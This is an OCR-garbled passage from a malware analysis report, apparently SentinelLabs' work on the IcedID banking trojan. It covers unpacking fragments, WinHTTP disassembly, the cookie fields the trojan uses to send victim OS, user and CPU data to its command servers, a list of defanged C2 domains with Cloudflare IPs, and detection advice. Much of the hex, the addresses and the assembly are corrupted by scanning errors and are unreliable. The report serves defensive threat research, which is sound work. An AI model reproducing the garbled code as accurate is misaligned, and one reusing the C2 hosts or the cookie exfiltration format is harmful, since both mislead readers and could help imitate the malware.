)000000180004180 [50/ 00 4F 0053 00 54 0D[00 00 0O 00[00 0O 00 0O |P.0O.5.T
)000000180004190 (47 00 45 00|54 00 00 00 (47 65 74 4E|GL 74 69 76 |G,
)000000180004140 | 65 53 79 7374 €5 €E 66 &F 00[00 00 00 00
)000000180004180 | 48 45 52 4E|45 4C 33 32|2E 44 4C 4C|0D 0O 00 0O
)0000001800041C0 |54 77 51 75|65 72 73 53|79 73 74 65|GD 49 GE 66
)0000001800041D0 | 6F 72 6 61|72 69 6F 6200 00 0O 00|00 0O 00 0O
4 4C[4¢ 00 00 00(00 00 00 0O
)0000001800041F0 | 63 3A 5C 50|72 €F 67 72|61 6D 44 61|74 €1 5C 00
)000000180004200 | 5C 00 00 00|25 30 31 35|43 58 0D 00|00 DO 00 0O

g

g

8

8

g

2

4

H

H

g

2

3

g

A

A
5
&

g
g
g
g
g
=
&
H
g
g
Biss
e
8
2
g
g
g

65 37 23
0025 00 73 00|25 00 75 00
0 00 & 4765
0038 00 20 00|5F DO 67 0O

H
g
8
g
8
2
H
H
H
g
5
oR
58
@
4
%
@
8

H
H
3
H
H
g
i
H
H
H
it
88
33
2
H
a

00 00
0061 00 30 00|00 00 00 0O
00 38

8
g
8
8
8
2
H
H
H
g
&
K
8
8

0063 00 &F 00|3D 0O 00 0O

)000000180004290 | 5F 00 00 00/00 0O 00 0000 00 0D 00|00 0O 00 0O

)0000001800042A0 0063 00 &4 00|31
4280

S
]
5
]
3

0 Ld.
)000000180004280 | 47 65 74 41|63 61 70 74|65 72 73 43|6E 66 6F 0O (.emnapwsmfn
)0000001800042C0 | 49 50 48 4C[50 41 50 43|2E 43 4C 4C|00 0D 00 00 | IPHLPAPI.DLL.

)0000001800042D0 | 00 00 00 00/00 0D 00 0033 00 GF 00|6F DO 68 0O
)0000001800042E0 00(SF 00 5F 00|&:
)0000001800042F0 | 64 00 73 00(3D 00 00 00[00 00 0O 00|00 00 00 00
)000000180004300 0063 00 €5 00|3A 0O 20 0O
)000000180004310 | 5F 00 73 00[3D 00 00 00|61 00 77 00|73 DO 2E 0O
)000000180004320 | 61 00 & §F 00 6E 00|21

)000000180004330 | 67 00|00 00 00 00|2F 00 00 00|25 00 53 00

.w
1%
sin
sss
888
o
[TH
g83
e

8

8

@
8
@
8
B
8

LGethativ

041
rs oooouuolaooon)a packed_cedid. 0000000180004338

0000000180001 1E0|
0000023739C 42FCO)
000000487 45 FFASS | 0DDDODAS7 45 FFDES
000000257 45 FFA90 | 00000000D0000000)

[sTurn ©o packed fcedid. From 777

&7ENCRO\XTE

L"cookies

_gid=00685986189F"

FrEscccz300

Packed 1ced1d. 0003000180004335
o

o
E84| return to packed_icedid.0000000180001E84 From packed_icedid. 0000000180001100
0|

"mappingmorrage. top"

L-mappingnor rage. top”
cedid.

<

000000437

68
ssrrezo | 3631334638424232)

—gads:

785140556121 218429:178; _ga

0.0.18363.64; _

0ads=1788140586:2: 218429: 176; _at=10.0.18363.64; _ga=1.591594.1635208534.1531;

__gads=1788140886:2:218429:178; _gat=10.0.18363.64; _ga=1.591594.1635208534.1531;

591594, 1635208534, 1531;
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00007FF852FDODEE
00007FF852FDODBD
00007FF852FDODCL
00007FF852FDODCE
00007FF852FDODCB
00007FF852FDODDO
00007FF852FDODD S
00007 FF852FDODDA
00007FF852FDODE2
00007FF852FDODES
00007FF852FDODET
00007FF852FDODEC
00007FF852FDODF1
00007FF852FDODF6
00007FFE52FDODFE
00007FF852FDODFC
00007FF852FDODFF
00007FF852FDOED2
00007FF852FDOEQT
00007FF852FDOEDD
00007FF852FDOELD
00007FFB52FDOELT
00007FF852FDOELE
00007FF852FDOE20
00007FF852FDOE23
00007FF852FDOE2A
00007FF852FDOE2D
00007FFB52FDOE3L
00007FF852FDOE34
00007FF852FDOE3S
00007FF852FDOESE
00007FF852FDOE3D
00007FF852FDOE40
00007FF852FDOE43
00007FF852FDOE4S
00007 FF852FDOE4C
00007FF852FDOES 1
00007FF852FDOES 4
00007FF852FDOES9
00007FF852FDOESC
00007FF852FDOEGL
00007FF852FDOEGG
00007FF852FDOEGA
00007FF852FDOEGF
00007FF852FDOET6
00007FF852FDOE7D
00007FF852FDOETF
00007FF852FDOEB2
00007 FF852FDOESS
00007FF852FDOESS
00007FF852FDOESBC
00007FF852FDOETL
00007FF852FDOES6
00007FF852FDOESA
00007FF852FDOEIF
00007FF852FDOEAZ
00007FF852FDOEA4
00007FF852FDOEAT
00007FF852FDOEAS
00007FF852FDOEAC
00007 FF852FDOEAE
00007FF852FDOEBD
00007FF852FDOEBS
00007FF852FDOEBT
00007FF852FDOEBA
00007FF852FDOEBC
00007FF852FDOECL
00007FFB852FDOECH
00007FF852FDOECT
00007FF852FDDECC
00007FF852FDOECE
00007FF852FDOEDL
0D007FF852FDOED6

do |

lpMem 00 =
} while ([lpMem
DAT 180003000
local 2b8 =
local 2a8
local 2b0
local 285¢c

s

&DAT
11

local 2a0 Oxlbb;
local 288 i
loca g

2
local 280 = 07
2

20 = 0x30>7
eap =

if [pWVars =

return 0;

=
&,

FUON_ 180001100 {&local
GetProcesaHeap (] -
pWvars = [LPWSTR)HeapAlloc(hHeap,8,0x2001);

(LBWSTR) 0x0) |

41:57

48:83EC 78

48: BBOS BBA30600
48:33C4

481894424 68

4C: BBACZ4 E0000000
33C0

4C:8BB424 ES000000

481894424 50
4C:8D4424 50
48:894424 58
3302

894424 60
4D:BBE1

48:BEF1

E8 299DFCFF

33FF

48:8D05 FO180500
F605 29AF0600 02
4C: BD3D C21BO500
74 56

4D:85ED

48:8D15 CE1BO500
49: BBCF

48:0F34C8

48: 8DOS C4130500
48:894C24

44: BBCD
48:895424 38
4C!8BC6
48:894424 30

4C: 897424 28
895C24 20

ES8 AD1BO400
48:8D05 S8A1B0500
F&05 03B50600 04

4D: B5ED
44:BBCD
4C!8BC6
4C:OF44F8
4C:897C24 30
aC:896424 28
B895C24 20

E8 19FCFFFF
48:85F6

BE 57000000
EB 25

83FD 02

73 F4

4C: 897424 28
4D 8BCC
44:8BC3
4C:896C24 20
8BDS

48: BBCE

E8 EAF7FFFF
8BDS

local 218[ (longlong) l1pMem 00] =

* [byte *) (lpMem 00 + 0x60001410) #~ *(byte *) (lpMem |

(uint *] { {longlong) lpMem
L 00 < (uint *)0x20);

L"aws.amazon.com" ;

{LEWSTR) 0x0;
- 180004338;

g = gLAB 1800028147

push ris

sub rsp,78

mov rax,qword ptr ds:
Xor rax,rsp

mov gword ptr ss:[rsp+es],rax
mov riz,qword ptr ss:[ rsp+Eofl
xor eax,eax

mov ris,qword ptr ss:[rsp+Es]
mov ebx,rsd

mov ebp,edx

mov gword ptr ss:[rsp+sof,rax
lea rs,qword ptr H.Ersmso
mov gword ptr ss:[Prsp+sa],rax
xor edx,edx
mov dword ptr
mov r12 r9
mov rs

call w1nh[[p 7FF852F9AB30

xor edi,e

lea rax,qword ptr ds [7FF553022700]
test byte ptr ds [?FFBS}D}EI}A‘D]
lea ris,qword ptr dsz [?FFBS!OZZBEO]
je winhttp.7FFB52FDOE7E

test ri3,ri3

lea rdx,qword ptr ds:
mov rcx,ris

cmove rox,rax

test riz2,ri2

cmove r’dx rax

cmp ebx,

jne w]l‘lhttp TFFB52FDOE4S

mov rax,rl4

test ris,ris

jne winhttp.7FF852FDOE4C

lea rax,qword ptr ds:[7FF853022A10]
mov gword ptr ss:[rsp+aof,rcx

mov rod,ebp
mov gword ptr
mov r8,rsi
mov gword ptr
mov gword ptr [rsp+28f],ris
mov_dword ptr rsp+20§, ebx

€all winhttp. 7FF853012A1C

rd ptr ds: [7FF853022700]
ptr ds:[7FF85303C380],4
je winhttp.7FF852FDOESF

test ri3,ri3
mov r3d,ebp
mov r8,rsi
cmove ris,rax
mov gword ptr
mov gword ptr
mov_dword ptr ss:ffrsp+20j,ebx
call w1nhttp TFFSSZFDOAES
test rsi,rsi

jne winhitp.7FF852FDOEAS

lea ebx,gword ptr ds:[rsi+é]
jmp winh{[p.?FFﬂSZFl}OED(

lea eax,qword ptr ds:[rbx-1]
test ebx,eax

je winhtt 7FF852FDOERT

mov ebx

Jmp mnhttp 7FF852FDOEDC

[7FFE5303B180]

ss:|frsp+co], eax

[7FFE530229F8]

jrsp+38], rdx

|, rax

Jjae w]l‘ll‘lttp TFFBSZFDOEBO

mov guord ptr ss:[frsp+23],ri4
mov r9,riz

mov r8d,ebx

mov gword ptr ss:[@rsp+zof,ri3
mov edx ebp

mov rc

call mnhttp 7FF852FDO6CO
mov ebx,eax

, 00 + 1)

rax:L"POST"

rsp+38]:L"Cookie: __gads=1788140586:2:227210:179;
ri2:&" KoRe\X7F"

rex:&” KoRewx7F™

rax:L"POST", O0007FF853022700:L"NULL"

00007FF8530229E0: L" <password>"

rdx'L'jGET b

o
r’dx L"GET™

rax:L"POST"

rax:L"POST",

rax:L"POST",

rax:L"POST"

riz2:a"

rexa&”

0000"FFDSBD 29F8;:L"

, rax:L"pPosT"

\
rax:L"POST"

O0DO7FF853022A10: L " <NOREALM>"

O00D07FF853022700: L"NULL"

KEREWXTF"

KOReYXTF"

+ Oxe0001400) »

8, (LBVOID *)slocal resld, (LBVOID *)slocal resg):

Checking aws.amazon.com connectivity
Some of the domains collected from our analysis of around 500 samples of IcedID included:

_gat=10.0.18363.64;
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epicprotovir[.]download
essoandmobilcards[.]com
immotransfer|[.]top
kickersflyers[.]bid
mappingmorrage[.]top
momenturede[.]fun
provokordino[ . ]space
quadrogorrila[.]casa
vaclicinni[.]xyz
vikolifer[.]top

These appear to be masked through CloudFlare IPs. For example,

hxxp[://]mappingmorrage[.]top/
172.67.196.74

104.21.57.254
2606:4700:3037::6815:39fe
2606:4700:3037::ac43:c44a

The malware’s main module functions to steal credentials from the victim’s machine,
exfiltrating information back to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS
type, username, computer name, and CPU domain, giving the operators a good
understanding of the compromised environment.

__gads:

_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit

_ga: Processor CPUID information

_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__jo: Domain id

_gid: NIC

Cookie: __gads=582124465:1:66
Cookie pair: __gads=5821244
+3.9600.64; _ga=1.329443.0.0; _u=5843:61646D696E:43434334434346464344314543443431; __io=21_4080122336_2017344304_407619488; _gid=92AA186ABDE@\r\n

Cookie pair: _gat=6.3.9600.
Cookie pair: _ga=1.329443.@

14346464344314543443431

Cookie pair: _u=5043:61646D 4719480

Cookie pair: __io=21_408012

Cookie pair: _gid=92AA106A8
Host: mappingmorrage.top\r\n

IcelD exfiltrates environmental data via a cookie
Discovering network traffic with the headers listed above is an indication that the host has
been infected with IcedID malware.

Conclusion

Many IcedID attacks begin with a phishing email and users opening the attachment. In this
campaign, IcedID uses a maldoc in the initial infection stage in an attempt to bypass
defenses by interacting with the contents of the document itself. The use of an HTA file with
its dependency on IE’s mshta.exe is reasonably unusual behavior that defenders can
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monitor for in their environments. This, along with other techniques such as changing the file
extension and the behavior of the DLL, should be detected by a capable Next Gen security
solution.

Indicators of Compromise

https://github.com/SentinelLabs/iced|D
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https://assets.sentinelone.com/sentinellabs/sentinelone-vs-icedid
https://github.com/SentineLabs/icedID

